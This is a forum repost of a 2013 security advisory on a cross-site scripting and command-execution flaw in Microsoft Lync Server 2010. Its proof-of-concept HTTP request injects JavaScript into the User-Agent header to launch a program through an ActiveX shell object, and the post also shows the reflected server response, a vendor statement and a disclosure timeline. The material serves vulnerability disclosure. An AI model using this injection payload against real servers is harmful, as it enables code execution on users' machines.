Nytro Posted January 13, 2013 Report Posted January 13, 2013 [h=2]Microsoft Lync 2012 Code Execution Vulnerability[/h]Summary=======Microsoft Lync 2010 fails to properly sanitize user-supplied input, whichcan lead to remote code execution.Microsoft was originally notified of this issue December 11, 2012.The details of this issue were made public January 11, 2013.CVE number: Not AssignedImpact: LowVendor homepage: http://lync.microsoft.com/Vendor notified: December 11, 2012Vendor fixed: N/ACredit: Christopher Emerson of White Oak Security(http://www.whiteoaksecurity.com/)Affected Products================Confirmed in Microsoft Lync Server 2010, version 4.0.7577.0. Otherversions may also beaffected.Details=======Microsoft Lync 2010, version 4.0.7577.4087, fails to sanitize the“User-Agent Header” for meet.domainame.com.By inserting JavaScript into the aforementioned parameters and stackingcommands, an attacker can execute arbitrary commands in the context of theapplication.Impact======Malicious users could execute arbitrary applications on the client systems,compromising the confidentiality, integrity and availability of informationon the client system.Solution========The vendor should implement thorough input validation in order to removedangerous characters from user supplied data. Additionally, the vendorshould implement thorough output encoding in order to display, and notexecute, dangerous characters within the browser.Proof-of-Concept (PoC)===================The following Request is included as a proof of concept. The proof ofconcept is designed to open notepad.exe when the Request is received by theserver.GET /christopher.emerson/JW926520 HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,application/x-shockwave-flash, application/xaml+xml,application/vnd.ms-xpsdocument, application/x-ms-xbap,application/x-ms-application, */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NETCLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR3.5.30729)";var oShell = new ActiveXObject("Shell.Application");varcommandtoRun ="C:\\Windows\\notepad.exe";oShell.ShellExecute(commandtoRun,"","","open","1");-"Host: meet.domainname.comConnection: Keep-AliveCookie: LOCO=yes; icscontext=cnet; ProfileNameCookie=ChristopherBelow is an abbreviated copy of the Response:HTTP/1.1 200 OKCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/7.5X-AspNet-Version: 2.0.50727X-MS-Server-Fqdn: domainname.comX-Powered-By: ASP.NETDate: Mon, 07 May 2012 20:26:55 GMTConnection: keep-aliveContent-Length: 23901<!--NOTE: If DOCTYPE element is present, it causes the iFrame to bedisplayed in a small--><!--portion of the browser window instead of occupying the full browserwindow.--><html xmlns="http://www.w3.org/1999/xhtml" class="reachJoinHtml"><head><meta http-equiv="X-UA-Compatible" content="IE=10; IE=9; IE=8;requiresActiveX=true" /><title>Microsoft Lync</title><script type="text/javascript">var reachURL = "https://domainname.com/Reach/Client/WebPages/ReachJoin.aspx?xml=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48Y29uZi1pbmZvIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3J0Yy8yMDA5LzA1L3NpbXBsZWpvaW5jb25mZG9jIj48Y29uZi11Y21rLXNpcDpjaHJpc3RvcGhlci5lbWVyc29uQGRvbWFpbm5hbWUuY29tO2dydXU7b3BhcXVlPWFwcDpjb25mOmZvY3VzOmlkOkpXOTI2NTIwPC9jb25mLXVyaT48c2VydmVyLXRpbWU+OTEuODAwNDwvc2VydmVyLXRpbWU+PG9yaWdpbmFsLWluY29taW5nLXVybD5odHRwczovL21lZXQuZG9tYWlubmFtZS5jb20vY2hyaXN0b3BoZXIuZW1lcnNvbi9KVzkyNjUyMDwvb3JpZ2luYWwtaW5jb21pbmctdWNtdy08Y29uZi1rZXk+Slc5MjY1MjA8L2NvbmYta2V5PjwvY29uZi1pbmZiejQh";var escapedXML = "'\x3c\x3fxml version\x3d\x221.0\x22encoding\x3d\x22utf-8\x22\x3f\x3e\x3cconf-infoxmlns\x3axsi\x3d\x22http\x3a\x2f\x2fwww.w3.org\x2f2001\x2fXMLSchema-instance\x22xmlns\x3axsd\x3d\x22http\x3a\x2f\x2fwww.w3.org\x2f2001\x2fXMLSchema\x22xmlns\x3d\x22http\x3a\x2f\x2fschemas.microsoft.com\x2frtc\x2f2009\x2f05\x2fsimplejoinconfdoc\x22\x3e\x3cconf-uri\x3esip\x3achristopher.emerson\x40domainname.com\x3bgruu\x3bopaque\x3dapp\x3aconf\x3afocus\x3aid\x3aJW926520\x3c\x2fconf-uri\x3e\x3cserver-time\x3e91.8004\x3c\x2fserver-time\x3e\x3coriginal-incoming-url\x3ehttps\x3a\x2f\x2fmeet.domainname.com\x2fchristopher.emerson\x2fJW926520\x3c\x2foriginal-incoming-url\x3e\x3cconf-key\x3eJW926520\x3c\x2fconf-key\x3e\x3c\x2fconf-info\x3e'";var showJoinUsingLegacyClientLink = "False";var validMeeting = "True";var reachClientRequested = "False";var currentLanguage = "en-US";var reachClientProductName = "Lync Web App";var crackUrlRequest = "True";var isNokia = "False";var isAndroid = "False";var isWinPhone = "False";var isIPhone = "False";var isIPad = "False";var isMobile = "False";var isUnsupported = "False";var domainOwnerJoinLauncherUrl = "";var lyncLaunchLink = "conf:sip:christopher.emerson@domainname.com;gruu;opaque=app:conf:focus:id:JW926520%3Frequired-media=audio";var errorCode = "-1";var diagInfo = "Machine:MachineNameBrowserId:Mozilla/4.0 (compatible;MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30;.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";var oShell = newActiveXObject("Shell.Application");var commandtoRun ="C:\\Windows\\notepad.exe";oShell.ShellExecute(commandtoRun,"","","open","1");-"Joinattempted at:5/7/2012 3:26:55 PM";var resourceUrl ="/meet/JavaScriptResourceHandler.ashx?lcs_se_w14_onprem4.0.7577.197&language=";Vendor Statement==============The vulnerability described in this report is a XSS vulnerability in theUser-Agent which requires an attacker to be in a man-in-the middlesituation in order to be able to modify the User-Agent. In a defaultconfiguration of Lync server, TLS encryption is used to protect againstthis type of attack. Customers concerned about this issue should checktheir environments to ensure that Lync is configured to use TLS to encryptall traffic, a default configuration.Disclosure Timeline==============December 11, 2012: Disclosed to vendor (Microsoft Security Response Center).December 18, 2012: Vendor’s initial response.December 20, 2012: Vendor deemed issue a Low severity and confirmed issuewould be fixed in next product release.December 27, 2012: Received vendor approval to disclose along with VendorStatement (see above).January 11, 2013: Disclosed vulnerability publicly (http://whiteoaksecurity.com/blog/2013/1/11/microsoft-lync-server-2010-remote-code-executionxss-user-agent-header).=====================================================================# 3C8F2163853A5DE5 1337day.com [2013-01-13] 1A58B10CEE71628B #Sursa: 1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team Quote
